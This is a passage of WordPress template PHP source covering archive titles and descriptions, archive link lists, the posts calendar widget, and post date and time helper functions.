	 * Filters the archive title.
	 *
	 * @since 4.1.0
	 * @since 5.5.0 Added the `$prefix` and `$original_title` parameters.
	 *
	 * @param string $title          Archive title to be displayed.
	 * @param string $original_title Archive title without prefix.
	 * @param string $prefix         Archive title prefix.
	 */
	return apply_filters( 'get_the_archive_title', $title, $original_title, $prefix );
}

/**
 * Displays category, tag, term, or author description.
 *
 * @since 4.1.0
 *
 * @see get_the_archive_description()
 *
 * @param string $before Optional. Content to prepend to the description. Default empty.
 * @param string $after  Optional. Content to append to the description. Default empty.
 */
function the_archive_description( $before = '', $after = '' ) {
	$description = get_the_archive_description();
	if ( $description ) {
		echo $before . $description . $after;
	}
}

/**
 * Retrieves the description for an author, post type, or term archive.
 *
 * @since 4.1.0
 * @since 4.7.0 Added support for author archives.
 * @since 4.9.0 Added support for post type archives.
 *
 * @see term_description()
 *
 * @return string Archive description.
 */
function get_the_archive_description() {
	if ( is_author() ) {
		$description = get_the_author_meta( 'description' );
	} elseif ( is_post_type_archive() ) {
		$description = get_the_post_type_description();
	} else {
		$description = term_description();
	}

	/**
	 * Filters the archive description.
	 *
	 * @since 4.1.0
	 *
	 * @param string $description Archive description to be displayed.
	 */
	return apply_filters( 'get_the_archive_description', $description );
}

/**
 * Retrieves the description for a post type archive.
 *
 * @since 4.9.0
 *
 * @return string The post type description.
 */
function get_the_post_type_description() {
	$post_type = get_query_var( 'post_type' );

	if ( is_array( $post_type ) ) {
		$post_type = reset( $post_type );
	}

	$post_type_obj = get_post_type_object( $post_type );

	// Check if a description is set.
	if ( isset( $post_type_obj->description ) ) {
		$description = $post_type_obj->description;
	} else {
		$description = '';
	}

	/**
	 * Filters the description for a post type archive.
	 *
	 * @since 4.9.0
	 *
	 * @param string       $description   The post type description.
	 * @param WP_Post_Type $post_type_obj The post type object.
	 */
	return apply_filters( 'get_the_post_type_description', $description, $post_type_obj );
}

/**
 * Retrieves archive link content based on predefined or custom code.
 *
 * The format can be one of four styles. The 'link' for head element, 'option'
 * for use in the select element, 'html' for use in list (either ol or ul HTML
 * elements). Custom content is also supported using the before and after
 * parameters.
 *
 * The 'link' format uses the `<link>` HTML element with the **archives**
 * relationship. The before and after parameters are not used. The text
 * parameter is used to describe the link.
 *
 * The 'option' format uses the option HTML element for use in select element.
 * The value is the url parameter and the before and after parameters are used
 * between the text description.
 *
 * The 'html' format, which is the default, uses the li HTML element for use in
 * the list HTML elements. The before parameter is before the link and the after
 * parameter is after the closing link.
 *
 * The custom format uses the before parameter before the link ('a' HTML
 * element) and the after parameter after the closing link tag. If the above
 * three values for the format are not used, then custom format is assumed.
 *
 * @since 1.0.0
 * @since 5.2.0 Added the `$selected` parameter.
 *
 * @param string $url      URL to archive.
 * @param string $text     Archive text description.
 * @param string $format   Optional. Can be 'link', 'option', 'html', or custom. Default 'html'.
 * @param string $before   Optional. Content to prepend to the description. Default empty.
 * @param string $after    Optional. Content to append to the description. Default empty.
 * @param bool   $selected Optional. Set to true if the current page is the selected archive page.
 * @return string HTML link content for archive.
 */
function get_archives_link( $url, $text, $format = 'html', $before = '', $after = '', $selected = false ) {
	$text         = wptexturize( $text );
	$url          = esc_url( $url );
	$aria_current = $selected ? ' aria-current="page"' : '';

	if ( 'link' === $format ) {
		$link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
	} elseif ( 'option' === $format ) {
		$selected_attr = $selected ? " selected='selected'" : '';
		$link_html     = "\t<option value='$url'$selected_attr>$before $text $after</option>\n";
	} elseif ( 'html' === $format ) {
		$link_html = "\t<li>$before<a href='$url'$aria_current>$text</a>$after</li>\n";
	} else { // Custom.
		$link_html = "\t$before<a href='$url'$aria_current>$text</a>$after\n";
	}

	/**
	 * Filters the archive link content.
	 *
	 * @since 2.6.0
	 * @since 4.5.0 Added the `$url`, `$text`, `$format`, `$before`, and `$after` parameters.
	 * @since 5.2.0 Added the `$selected` parameter.
	 *
	 * @param string $link_html The archive HTML link content.
	 * @param string $url       URL to archive.
	 * @param string $text      Archive text description.
	 * @param string $format    Link format. Can be 'link', 'option', 'html', or custom.
	 * @param string $before    Content to prepend to the description.
	 * @param string $after     Content to append to the description.
	 * @param bool   $selected  True if the current page is the selected archive.
	 */
	return apply_filters( 'get_archives_link', $link_html, $url, $text, $format, $before, $after, $selected );
}

/**
 * Displays archive links based on type and format.
 *
 * @since 1.2.0
 * @since 4.4.0 The `$post_type` argument was added.
 * @since 5.2.0 The `$year`, `$monthnum`, `$day`, and `$w` arguments were added.
 *
 * @see get_archives_link()
 *
 * @global wpdb      $wpdb      WordPress database abstraction object.
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param string|array $args {
 *     Default archive links arguments. Optional.
 *
 *     @type string     $type            Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
 *                                       'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
 *                                       display the same archive link list as well as post titles instead
 *                                       of displaying dates. The difference between the two is that 'alpha'
 *                                       will order by post title and 'postbypost' will order by post date.
 *                                       Default 'monthly'.
 *     @type string|int $limit           Number of links to limit the query to. Default empty (no limit).
 *     @type string     $format          Format each link should take using the $before and $after args.
 *                                       Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
 *                                       (`<li>` tag), or a custom format, which generates a link anchor
 *                                       with $before preceding and $after succeeding. Default 'html'.
 *     @type string     $before          Markup to prepend to the beginning of each link. Default empty.
 *     @type string     $after           Markup to append to the end of each link. Default empty.
 *     @type bool       $show_post_count Whether to display the post count alongside the link. Default false.
 *     @type bool|int   $echo            Whether to echo or return the links list. Default 1|true to echo.
 *     @type string     $order           Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
 *                                       Default 'DESC'.
 *     @type string     $post_type       Post type. Default 'post'.
 *     @type string     $year            Year. Default current year.
 *     @type string     $monthnum        Month number. Default current month number.
 *     @type string     $day             Day. Default current day.
 *     @type string     $w               Week. Default current week.
 * }
 * @return void|string Void if 'echo' argument is true, archive links if 'echo' is false.
 */
function wp_get_archives( $args = '' ) {
	global $wpdb, $wp_locale;

	$defaults = array(
		'type'            => 'monthly',
		'limit'           => '',
		'format'          => 'html',
		'before'          => '',
		'after'           => '',
		'show_post_count' => false,
		'echo'            => 1,
		'order'           => 'DESC',
		'post_type'       => 'post',
		'year'            => get_query_var( 'year' ),
		'monthnum'        => get_query_var( 'monthnum' ),
		'day'             => get_query_var( 'day' ),
		'w'               => get_query_var( 'w' ),
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$post_type_object = get_post_type_object( $parsed_args['post_type'] );
	if ( ! is_post_type_viewable( $post_type_object ) ) {
		return;
	}

	$parsed_args['post_type'] = $post_type_object->name;

	if ( '' === $parsed_args['type'] ) {
		$parsed_args['type'] = 'monthly';
	}

	if ( ! empty( $parsed_args['limit'] ) ) {
		$parsed_args['limit'] = absint( $parsed_args['limit'] );
		$parsed_args['limit'] = ' LIMIT ' . $parsed_args['limit'];
	}

	$order = strtoupper( $parsed_args['order'] );
	if ( 'ASC' !== $order ) {
		$order = 'DESC';
	}

	// This is what will separate dates on weekly archive links.
	$archive_week_separator = '&#8211;';

	$sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $parsed_args['post_type'] );

	/**
	 * Filters the SQL WHERE clause for retrieving archives.
	 *
	 * @since 2.2.0
	 *
	 * @param string $sql_where   Portion of SQL query containing the WHERE clause.
	 * @param array  $parsed_args An array of default arguments.
	 */
	$where = apply_filters( 'getarchives_where', $sql_where, $parsed_args );

	/**
	 * Filters the SQL JOIN clause for retrieving archives.
	 *
	 * @since 2.2.0
	 *
	 * @param string $sql_join    Portion of SQL query containing JOIN clause.
	 * @param array  $parsed_args An array of default arguments.
	 */
	$join = apply_filters( 'getarchives_join', '', $parsed_args );

	$output = '';

	$last_changed = wp_cache_get_last_changed( 'posts' );

	$limit = $parsed_args['limit'];

	if ( 'monthly' === $parsed_args['type'] ) {
		$query   = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
		$key     = md5( $query );
		$key     = "wp_get_archives:$key:$last_changed";
		$results = wp_cache_get( $key, 'post-queries' );
		if ( ! $results ) {
			$results = $wpdb->get_results( $query );
			wp_cache_set( $key, $results, 'post-queries' );
		}
		if ( $results ) {
			$after = $parsed_args['after'];
			foreach ( (array) $results as $result ) {
				$url = get_month_link( $result->year, $result->month );
				if ( 'post' !== $parsed_args['post_type'] ) {
					$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );
				}
				/* translators: 1: Month name, 2: 4-digit year. */
				$text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
				if ( $parsed_args['show_post_count'] ) {
					$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;
				}
				$selected = is_archive() && (string) $parsed_args['year'] === $result->year && (string) $parsed_args['monthnum'] === $result->month;
				$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );
			}
		}
	} elseif ( 'yearly' === $parsed_args['type'] ) {
		$query   = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
		$key     = md5( $query );
		$key     = "wp_get_archives:$key:$last_changed";
		$results = wp_cache_get( $key, 'post-queries' );
		if ( ! $results ) {
			$results = $wpdb->get_results( $query );
			wp_cache_set( $key, $results, 'post-queries' );
		}
		if ( $results ) {
			$after = $parsed_args['after'];
			foreach ( (array) $results as $result ) {
				$url = get_year_link( $result->year );
				if ( 'post' !== $parsed_args['post_type'] ) {
					$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );
				}
				$text = sprintf( '%d', $result->year );
				if ( $parsed_args['show_post_count'] ) {
					$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;
				}
				$selected = is_archive() && (string) $parsed_args['year'] === $result->year;
				$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );
			}
		}
	} elseif ( 'daily' === $parsed_args['type'] ) {
		$query   = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
		$key     = md5( $query );
		$key     = "wp_get_archives:$key:$last_changed";
		$results = wp_cache_get( $key, 'post-queries' );
		if ( ! $results ) {
			$results = $wpdb->get_results( $query );
			wp_cache_set( $key, $results, 'post-queries' );
		}
		if ( $results ) {
			$after = $parsed_args['after'];
			foreach ( (array) $results as $result ) {
				$url = get_day_link( $result->year, $result->month, $result->dayofmonth );
				if ( 'post' !== $parsed_args['post_type'] ) {
					$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );
				}
				$date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
				$text = mysql2date( get_option( 'date_format' ), $date );
				if ( $parsed_args['show_post_count'] ) {
					$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;
				}
				$selected = is_archive() && (string) $parsed_args['year'] === $result->year && (string) $parsed_args['monthnum'] === $result->month && (string) $parsed_args['day'] === $result->dayofmonth;
				$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );
			}
		}
	} elseif ( 'weekly' === $parsed_args['type'] ) {
		$week    = _wp_mysql_week( '`post_date`' );
		$query   = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
		$key     = md5( $query );
		$key     = "wp_get_archives:$key:$last_changed";
		$results = wp_cache_get( $key, 'post-queries' );
		if ( ! $results ) {
			$results = $wpdb->get_results( $query );
			wp_cache_set( $key, $results, 'post-queries' );
		}
		$arc_w_last = '';
		if ( $results ) {
			$after = $parsed_args['after'];
			foreach ( (array) $results as $result ) {
				if ( $result->week != $arc_w_last ) {
					$arc_year       = $result->yr;
					$arc_w_last     = $result->week;
					$arc_week       = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
					$arc_week_start = date_i18n( get_option( 'date_format' ), $arc_week['start'] );
					$arc_week_end   = date_i18n( get_option( 'date_format' ), $arc_week['end'] );
					$url            = add_query_arg(
						array(
							'm' => $arc_year,
							'w' => $result->week,
						),
						home_url( '/' )
					);
					if ( 'post' !== $parsed_args['post_type'] ) {
						$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );
					}
					$text = $arc_week_start . $archive_week_separator . $arc_week_end;
					if ( $parsed_args['show_post_count'] ) {
						$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;
					}
					$selected = is_archive() && (string) $parsed_args['year'] === $result->yr && (string) $parsed_args['w'] === $result->week;
					$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );
				}
			}
		}
	} elseif ( ( 'postbypost' === $parsed_args['type'] ) || ( 'alpha' === $parsed_args['type'] ) ) {
		$orderby = ( 'alpha' === $parsed_args['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC ';
		$query   = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
		$key     = md5( $query );
		$key     = "wp_get_archives:$key:$last_changed";
		$results = wp_cache_get( $key, 'post-queries' );
		if ( ! $results ) {
			$results = $wpdb->get_results( $query );
			wp_cache_set( $key, $results, 'post-queries' );
		}
		if ( $results ) {
			foreach ( (array) $results as $result ) {
				if ( '0000-00-00 00:00:00' !== $result->post_date ) {
					$url = get_permalink( $result );
					if ( $result->post_title ) {
						/** This filter is documented in wp-includes/post-template.php */
						$text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
					} else {
						$text = $result->ID;
					}
					$selected = get_the_ID() === $result->ID;
					$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );
				}
			}
		}
	}

	if ( $parsed_args['echo'] ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Gets number of days since the start of the week.
 *
 * @since 1.5.0
 *
 * @param int $num Number of day.
 * @return float Days since the start of the week.
 */
function calendar_week_mod( $num ) {
	$base = 7;
	return ( $num - $base * floor( $num / $base ) );
}

/**
 * Displays calendar with days that have posts as links.
 *
 * The calendar is cached, which will be retrieved, if it exists. If there are
 * no posts for the month, then it will not be displayed.
 *
 * @since 1.0.0
 *
 * @global wpdb      $wpdb      WordPress database abstraction object.
 * @global int       $m
 * @global int       $monthnum
 * @global int       $year
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 * @global array     $posts
 *
 * @param bool $initial Optional. Whether to use initial calendar names. Default true.
 * @param bool $display Optional. Whether to display the calendar output. Default true.
 * @return void|string Void if `$display` argument is true, calendar HTML if `$display` is false.
 */
function get_calendar( $initial = true, $display = true ) {
	global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;

	$key   = md5( $m . $monthnum . $year );
	$cache = wp_cache_get( 'get_calendar', 'calendar' );

	if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {
		/** This filter is documented in wp-includes/general-template.php */
		$output = apply_filters( 'get_calendar', $cache[ $key ] );

		if ( $display ) {
			echo $output;
			return;
		}

		return $output;
	}

	if ( ! is_array( $cache ) ) {
		$cache = array();
	}

	// Quick check. If we have no posts at all, abort!
	if ( ! $posts ) {
		$gotsome = $wpdb->get_var( "SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1" );
		if ( ! $gotsome ) {
			$cache[ $key ] = '';
			wp_cache_set( 'get_calendar', $cache, 'calendar' );
			return;
		}
	}

	if ( isset( $_GET['w'] ) ) {
		$w = (int) $_GET['w'];
	}
	// week_begins = 0 stands for Sunday.
	$week_begins = (int) get_option( 'start_of_week' );

	// Let's figure out when we are.
	if ( ! empty( $monthnum ) && ! empty( $year ) ) {
		$thismonth = zeroise( (int) $monthnum, 2 );
		$thisyear  = (int) $year;
	} elseif ( ! empty( $w ) ) {
		// We need to get the month from MySQL.
		$thisyear = (int) substr( $m, 0, 4 );
		// It seems MySQL's weeks disagree with PHP's.
		$d         = ( ( $w - 1 ) * 7 ) + 6;
		$thismonth = $wpdb->get_var( "SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')" );
	} elseif ( ! empty( $m ) ) {
		$thisyear = (int) substr( $m, 0, 4 );
		if ( strlen( $m ) < 6 ) {
			$thismonth = '01';
		} else {
			$thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 );
		}
	} else {
		$thisyear  = current_time( 'Y' );
		$thismonth = current_time( 'm' );
	}

	$unixmonth = mktime( 0, 0, 0, $thismonth, 1, $thisyear );
	$last_day  = gmdate( 't', $unixmonth );

	// Get the next and previous month and year with at least one post.
	$previous = $wpdb->get_row(
		"SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
		FROM $wpdb->posts
		WHERE post_date < '$thisyear-$thismonth-01'
		AND post_type = 'post' AND post_status = 'publish'
		ORDER BY post_date DESC
		LIMIT 1"
	);
	$next     = $wpdb->get_row(
		"SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
		FROM $wpdb->posts
		WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
		AND post_type = 'post' AND post_status = 'publish'
		ORDER BY post_date ASC
		LIMIT 1"
	);

	/* translators: Calendar caption: 1: Month name, 2: 4-digit year. */
	$calendar_caption = _x( '%1$s %2$s', 'calendar caption' );
	$calendar_output  = '<table id="wp-calendar" class="wp-calendar-table">
	<caption>' . sprintf(
		$calendar_caption,
		$wp_locale->get_month( $thismonth ),
		gmdate( 'Y', $unixmonth )
	) . '</caption>
	<thead>
	<tr>';

	$myweek = array();

	for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {
		$myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );
	}

	foreach ( $myweek as $wd ) {
		$day_name         = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );
		$wd               = esc_attr( $wd );
		$calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
	}

	$calendar_output .= '
	</tr>
	</thead>
	<tbody>
	<tr>';

	$daywithpost = array();

	// Get days with posts.
	$dayswithposts = $wpdb->get_results(
		"SELECT DISTINCT DAYOFMONTH(post_date)
		FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
		AND post_type = 'post' AND post_status = 'publish'
		AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'",
		ARRAY_N
	);

	if ( $dayswithposts ) {
		foreach ( (array) $dayswithposts as $daywith ) {
			$daywithpost[] = (int) $daywith[0];
		}
	}

	// See how much we should pad in the beginning.
	$pad = calendar_week_mod( gmdate( 'w', $unixmonth ) - $week_begins );
	if ( 0 != $pad ) {
		$calendar_output .= "\n\t\t" . '<td colspan="' . esc_attr( $pad ) . '" class="pad">&nbsp;</td>';
	}

	$newrow      = false;
	$daysinmonth = (int) gmdate( 't', $unixmonth );

	for ( $day = 1; $day <= $daysinmonth; ++$day ) {
		if ( isset( $newrow ) && $newrow ) {
			$calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
		}
		$newrow = false;

		if ( current_time( 'j' ) == $day &&
			current_time( 'm' ) == $thismonth &&
			current_time( 'Y' ) == $thisyear ) {
			$calendar_output .= '<td id="today">';
		} else {
			$calendar_output .= '<td>';
		}

		if ( in_array( $day, $daywithpost, true ) ) {
			// Any posts today?
			$date_format = gmdate( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );
			/* translators: Post calendar label. %s: Date. */
			$label            = sprintf( __( 'Posts published on %s' ), $date_format );
			$calendar_output .= sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_day_link( $thisyear, $thismonth, $day ),
				esc_attr( $label ),
				$day
			);
		} else {
			$calendar_output .= $day;
		}

		$calendar_output .= '</td>';

		if ( 6 == calendar_week_mod( gmdate( 'w', mktime( 0, 0, 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {
			$newrow = true;
		}
	}

	$pad = 7 - calendar_week_mod( gmdate( 'w', mktime( 0, 0, 0, $thismonth, $day, $thisyear ) ) - $week_begins );
	if ( 0 != $pad && 7 != $pad ) {
		$calendar_output .= "\n\t\t" . '<td class="pad" colspan="' . esc_attr( $pad ) . '">&nbsp;</td>';
	}

	$calendar_output .= "\n\t</tr>\n\t</tbody>";

	$calendar_output .= "\n\t</table>";

	$calendar_output .= '<nav aria-label="' . __( 'Previous and next months' ) . '" class="wp-calendar-nav">';

	if ( $previous ) {
		$calendar_output .= "\n\t\t" . '<span class="wp-calendar-nav-prev"><a href="' . get_month_link( $previous->year, $previous->month ) . '">&laquo; ' .
			$wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) ) .
		'</a></span>';
	} else {
		$calendar_output .= "\n\t\t" . '<span class="wp-calendar-nav-prev">&nbsp;</span>';
	}

	$calendar_output .= "\n\t\t" . '<span class="pad">&nbsp;</span>';

	if ( $next ) {
		$calendar_output .= "\n\t\t" . '<span class="wp-calendar-nav-next"><a href="' . get_month_link( $next->year, $next->month ) . '">' .
			$wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) ) .
		' &raquo;</a></span>';
	} else {
		$calendar_output .= "\n\t\t" . '<span class="wp-calendar-nav-next">&nbsp;</span>';
	}

	$calendar_output .= '
	</nav>';

	$cache[ $key ] = $calendar_output;
	wp_cache_set( 'get_calendar', $cache, 'calendar' );

	if ( $display ) {
		/**
		 * Filters the HTML calendar output.
		 *
		 * @since 3.0.0
		 *
		 * @param string $calendar_output HTML output of the calendar.
		 */
		echo apply_filters( 'get_calendar', $calendar_output );
		return;
	}
	/** This filter is documented in wp-includes/general-template.php */
	return apply_filters( 'get_calendar', $calendar_output );
}

/**
 * Purges the cached results of get_calendar.
 *
 * @see get_calendar()
 * @since 2.1.0
 */
function delete_get_calendar_cache() {
	wp_cache_delete( 'get_calendar', 'calendar' );
}

/**
 * Displays all of the allowed tags in HTML format with attributes.
 *
 * This is useful for displaying in the comment area, which elements and
 * attributes are supported. As well as any plugins which want to display it.
 *
 * @since 1.0.1
 * @since 4.4.0 No longer used in core.
 *
 * @global array $allowedtags
 *
 * @return string HTML allowed tags entity encoded.
 */
function allowed_tags() {
	global $allowedtags;
	$allowed = '';
	foreach ( (array) $allowedtags as $tag => $attributes ) {
		$allowed .= '<' . $tag;
		if ( 0 < count( $attributes ) ) {
			foreach ( $attributes as $attribute => $limits ) {
				$allowed .= ' ' . $attribute . '=""';
			}
		}
		$allowed .= '> ';
	}
	return htmlentities( $allowed );
}

/***** Date/Time tags */

/**
 * Outputs the date in iso8601 format for xml files.
 *
 * @since 1.0.0
 */
function the_date_xml() {
	echo mysql2date( 'Y-m-d', get_post()->post_date, false );
}

/**
 * Displays or retrieves the date the current post was written (once per date)
 *
 * Will only output the date if the current post's date is different from the
 * previous one output.
 *
 * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
 * function is called several times for each post.
 *
 * HTML output can be filtered with 'the_date'.
 * Date string output can be filtered with 'get_the_date'.
 *
 * @since 0.71
 *
 * @global string $currentday  The day of the current post in the loop.
 * @global string $previousday The day of the previous post in the loop.
 *
 * @param string $format  Optional. PHP date format. Defaults to the 'date_format' option.
 * @param string $before  Optional. Output before the date. Default empty.
 * @param string $after   Optional. Output after the date. Default empty.
 * @param bool   $display Optional. Whether to echo the date or return it. Default true.
 * @return string|void String if retrieving.
 */
function the_date( $format = '', $before = '', $after = '', $display = true ) {
	global $currentday, $previousday;

	$the_date = '';

	if ( is_new_day() ) {
		$the_date    = $before . get_the_date( $format ) . $after;
		$previousday = $currentday;
	}

	/**
	 * Filters the date a post was published for display.
	 *
	 * @since 0.71
	 *
	 * @param string $the_date The formatted date string.
	 * @param string $format   PHP date format.
	 * @param string $before   HTML output before the date.
	 * @param string $after    HTML output after the date.
	 */
	$the_date = apply_filters( 'the_date', $the_date, $format, $before, $after );

	if ( $display ) {
		echo $the_date;
	} else {
		return $the_date;
	}
}

/**
 * Retrieves the date on which the post was written.
 *
 * Unlike the_date() this function will always return the date.
 * Modify output with the {@see 'get_the_date'} filter.
 *
 * @since 3.0.0
 *
 * @param string      $format Optional. PHP date format. Defaults to the 'date_format' option.
 * @param int|WP_Post $post   Optional. Post ID or WP_Post object. Default current post.
 * @return string|int|false Date the current post was written. False on failure.
 */
function get_the_date( $format = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$_format = ! empty( $format ) ? $format : get_option( 'date_format' );

	$the_date = get_post_time( $_format, false, $post, true );

	/**
	 * Filters the date a post was published.
	 *
	 * @since 3.0.0
	 *
	 * @param string|int  $the_date Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
	 * @param string      $format   PHP date format.
	 * @param WP_Post     $post     The post object.
	 */
	return apply_filters( 'get_the_date', $the_date, $format, $post );
}

/**
 * Displays the date on which the post was last modified.
 *
 * @since 2.1.0
 *
 * @param string $format  Optional. PHP date format. Defaults to the 'date_format' option.
 * @param string $before  Optional. Output before the date. Default empty.
 * @param string $after   Optional. Output after the date. Default empty.
 * @param bool   $display Optional. Whether to echo the date or return it. Default true.
 * @return string|void String if retrieving.
 */
function the_modified_date( $format = '', $before = '', $after = '', $display = true ) {
	$the_modified_date = $before . get_the_modified_date( $format ) . $after;

	/**
	 * Filters the date a post was last modified for display.
	 *
	 * @since 2.1.0
	 *
	 * @param string|false $the_modified_date The last modified date or false if no post is found.
	 * @param string       $format            PHP date format.
	 * @param string       $before            HTML output before the date.
	 * @param string       $after             HTML output after the date.
	 */
	$the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $format, $before, $after );

	if ( $display ) {
		echo $the_modified_date;
	} else {
		return $the_modified_date;
	}
}

/**
 * Retrieves the date on which the post was last modified.
 *
 * @since 2.1.0
 * @since 4.6.0 Added the `$post` parameter.
 *
 * @param string      $format Optional. PHP date format. Defaults to the 'date_format' option.
 * @param int|WP_Post $post   Optional. Post ID or WP_Post object. Default current post.
 * @return string|int|false Date the current post was modified. False on failure.
 */
function get_the_modified_date( $format = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		// For backward compatibility, failures go through the filter below.
		$the_time = false;
	} else {
		$_format = ! empty( $format ) ? $format : get_option( 'date_format' );

		$the_time = get_post_modified_time( $_format, false, $post, true );
	}

	/**
	 * Filters the date a post was last modified.
	 *
	 * @since 2.1.0
	 * @since 4.6.0 Added the `$post` parameter.
	 *
	 * @param string|int|false $the_time The formatted date or false if no post is found.
	 * @param string           $format   PHP date format.
	 * @param WP_Post|null     $post     WP_Post object or null if no post is found.
	 */
	return apply_filters( 'get_the_modified_date', $the_time, $format, $post );
}

/**
 * Displays the time at which the post was written.
 *
 * @since 0.71
 *
 * @param string $format Optional. Format to use for retrieving the time the post
 *                       was written. Accepts 'G', 'U', or PHP date format.
 *                       Defaults to the 'time_format' option.
 */
function the_time( $format = '' ) {
	/**
	 * Filters the time a post was written for display.
	 *
	 * @since 0.71
	 *
	 * @param string $get_the_time The formatted time.
	 * @param string $format       Format to use for retrieving the time the post
	 *                             was written. Accepts 'G', 'U', or PHP date format.
	 */
	echo apply_filters( 'the_time', get_the_time( $format ), $format );
}

/**
 * Retrieves the time at which the post was written.
 *
 * @since 1.5.0
 *
 * @param string      $format Optional. Format to use for retrieving the time the post
 *                            was written. Accepts 'G', 'U', or PHP date format.
 *                            Defaults to the 'time_format' option.
 * @param int|WP_Post $post   Post ID or post object. Default is global `$post` object.
 * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
 *                          False on failure.
 */
function get_the_time( $format = '', $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$_format = ! empty( $format ) ? $format : get_option( 'time_format' );

	$the_time = get_post_time( $_format, false, $post, true );

	/**
	 * Filters the time a post was written.
	 *
	 * @since 1.5.0
	 *
	 * @param string|int  $the_time Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
	 * @param string      $format   Format to use for retrieving the time the post
	 *                              was written. Accepts 'G', 'U', or PHP date format.
	 * @param WP_Post     $post     Post object.
	 */
	return apply_filters( 'get_the_time', $the_time, $format, $post );
}

/**
 * Retrieves the time at which the post was written.
 *
 * @since 2.0.0
 *
 * @param string      $format    Optional. Format to use for retrieving the time the post
 *                               was written. Accepts 'G', 'U', or PHP date format. Default 'U'.
 * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false.
 * @param int|WP_Post $post      Post ID or post object. Default is global `$post` object.
 * @param bool        $translate Whether to translate the time string. Default false.
 * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'.
 *                          False on failure.
 */
function get_post_time( $format = 'U', $gmt = false, $post = null, $translate = false ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$source   = ( $gmt ) ? 'gmt' : 'local';
	$datetime = get_post_datetime( $post, 'date', $source );

	if ( false === $datetime ) {
		return false;
	}

	if ( 'U' === $format || 'G' === $format ) {
		$time = $datetime->getTimestamp();

		// Returns a sum of timestamp with timezone offset. Ideally should never be used.
		if ( ! $gmt ) {
			$time += $datetime->getOffset();
		}
	} elseif ( $translate ) {
